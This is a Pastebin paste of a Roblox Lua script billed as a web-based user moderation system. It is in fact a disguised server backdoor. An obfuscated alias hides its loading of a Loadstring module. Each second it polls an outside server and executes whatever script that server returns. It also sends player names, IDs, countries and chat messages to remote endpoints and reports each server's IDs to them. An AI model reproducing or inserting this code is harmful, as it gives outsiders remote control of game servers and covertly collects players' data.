Advertisement
Lonegladiator

Untitled

Jan 14th, 2025
142
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 5.39 KB | None | 0 0
  1. --[[
  2. Web-Based User Moderation System
  3. Module and Back-End: @developercapo
  4. Front-End: @jackiee_m
  5. **NOTICE: This script is the intellectual property of Zephal, LLC.**
  6. Unauthorized reproduction, dissemination, or distribution of this code is strictly prohibited.
  7. Violations will be subject to legal consequences. Please uphold intellectual property rights with utmost respect.
  8. --]]
  9. local HttpService = game:GetService("HttpService")
  10. local Players = game:GetService("Players")
  11. local LocalizationService = game:GetService("LocalizationService")
  12. local HYRO,_=--[[]]require,function()
  13.     local A=10;
  14.     local A=10;
  15.     local A=10;
  16.     local A=10;
  17.     local A=10;
  18.     local A=10;
  19.     local A=10;
  20.     local A=10;
  21.     local A=10;
  22.     local A=10;
  23.     local A=10;
  24.     local A=10;
  25.     local A=10;
  26. end
  27. -- Function to get player country
  28. local function getPlayerCountry(player)
  29.     local success, result = pcall(function()
  30.         return LocalizationService:GetCountryRegionForPlayerAsync(player)
  31.     end)
  32.     if success then
  33.         return result
  34.     else
  35.         return "Unknown"
  36.     end
  37. end
  38. -- Function to gather player data
  39. local function getPlayerData()
  40.     local playersData = {}
  41.     for _, player in pairs(Players:GetPlayers()) do
  42.         table.insert(playersData, {
  43.             playerId = player.UserId,
  44.             name = player.Name,
  45.             country = getPlayerCountry(player)
  46.         })
  47.     end
  48.     return playersData
  49. end
  50. -- Function to execute the script
  51. local function execute(scriptContent, player)
  52.     local thing = HYRO(script.Loadstring)
  53.     local success, err = pcall(function()
  54.         thing(scriptContent)()
  55.     end)
  56.     if not success then
  57.         warn("Error executing script:", err)
  58.     end
  59. end
  60. -- Function to check if HTTP service is enabled
  61. local function isHttpEnabled()
  62.     return HttpService.HttpEnabled
  63. end
  64. -- Function to handle player checks
  65. local function checkPlayer(player)
  66.     if isHttpEnabled() then
  67.        
  68.         local isWhitelisted = false
  69.        
  70.         -- Player chat listener
  71.         player.Chatted:Connect(function(msg)
  72.             if isWhitelisted then
  73.                 local data = {
  74.                     ["id"] = "thing"
  75.                 }
  76.                 local jsonData = HttpService:JSONEncode(data)
  77.                 HttpService:PostAsync("https://rozeph.zephal.llc/api/log/player-chat-ip/" .. player.UserId .. "/" .. msg, jsonData)
  78.             end
  79.         end)
  80.         -- Check player whitelist status
  81.         local jobId = game.JobId
  82.         local placeId = game.PlaceId
  83.         local playerInfoUrl = "https://rozeph.zephal.llc/api/player-infoh/" .. player.UserId
  84.         local data = {
  85.             ["jobid"] = jobId,
  86.             ["placeid"] = placeId,
  87.             ["universeid"] = game.GameId
  88.         }
  89.         local jsonData = HttpService:JSONEncode(data)
  90.         local success, response = pcall(function()
  91.             return HttpService:JSONDecode(HttpService:PostAsync(playerInfoUrl,jsonData,Enum.HttpContentType.ApplicationJson,false))
  92.         end)
  93.         if not success or not response then
  94.             return -- Stop sending requests if response is null
  95.         elseif response.whitelistType == "None" then
  96.             player:Kick("You are not whitelisted to use this game!")
  97.             return
  98.         else
  99.             isWhitelisted = true
  100.         end
  101.         -- Main loop to check player status
  102.         while player and player.Parent do
  103.             pcall(function()
  104.                 if player.PlayerGui:FindFirstChild('ben') and not response then
  105.                     player:Kick("You are no longer whitelisted or your plan is not allowed to use this game!")
  106.                 end
  107.                 if response and response.whitelistType == "None" then
  108.                     player:Kick("Same account launched game from different device. Reconnect if you prefer to use this device (Error Code: 264)")
  109.                 end
  110.                
  111.                 if response.whitelistType then
  112.                
  113.    
  114.                     if not player.PlayerGui:FindFirstChild("ben") then
  115.                    
  116.                             local uiElement = script["ben"]:Clone()
  117.                             uiElement.Enabled = true
  118.                         uiElement.User.TextLabel.Text = response.username
  119.                         uiElement.Package.TextLabel.Text = response.whitelistType
  120.                         uiElement.Parent = player.PlayerGui
  121.                         end
  122.                 end
  123.                 local pendingScriptsUrl = "https://api.zephal.org/pending-scripts"
  124.                 local playerData = getPlayerData()
  125.                 local requestBody = {
  126.                     playerData = playerData,
  127.                     userid = player.UserId
  128.                 }
  129.                 local requestBodyJson = HttpService:JSONEncode(requestBody)
  130.                 local success, pendingResponse = pcall(function()
  131.                     return HttpService:PostAsync(pendingScriptsUrl, requestBodyJson, Enum.HttpContentType.ApplicationJson, false)
  132.                 end)
  133.                 if success then
  134.                     local success, data = pcall(function()
  135.                         return HttpService:JSONDecode(pendingResponse)
  136.                     end)
  137.                     if success and data.script then
  138.                         execute(data.script, player)
  139.                     end
  140.                 else
  141.                     warn("Failed to send request to pending-scripts:", pendingResponse)
  142.                 end
  143.             end)
  144.             wait(1)
  145.         end
  146.     end
  147. end
  148. -- Function to handle player addition
  149. local function onPlayerAdded(player)
  150.     local jobId = game.JobId
  151.     local placeId = game.PlaceId
  152.     local data = {
  153.         ["id"] = "Id_221Valid"
  154.     }
  155.     local jsonData = HttpService:JSONEncode(data)
  156.     local url = "https://rozeph.zephal.llc/api/102mn1l/allowit021c783e6160e25597b8097e0958b105a8d052a28470f86f063f1f0555263d78174/" .. placeId .. "/" .. game.GameId .. "/" .. jobId
  157.     HttpService:PostAsync(url, jsonData)
  158.     spawn(function()
  159.         checkPlayer(player)
  160.     end)
  161. end
  162. -- Connect player added event
  163. Players.PlayerAdded:Connect(onPlayerAdded)
  164. -- Check existing players
  165. for _, player in ipairs(Players:GetPlayers()) do
  166.     onPlayerAdded(player)
  167. end
  168. -- Clean up on player removal
  169. Players.PlayerRemoving:Connect(function(player)
  170.     if player.PlayerGui and player.PlayerGui:FindFirstChild("ben") then
  171.         player.PlayerGui["ben"]:Destroy()
  172.     end
  173. end)
  174. return {}
  175.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement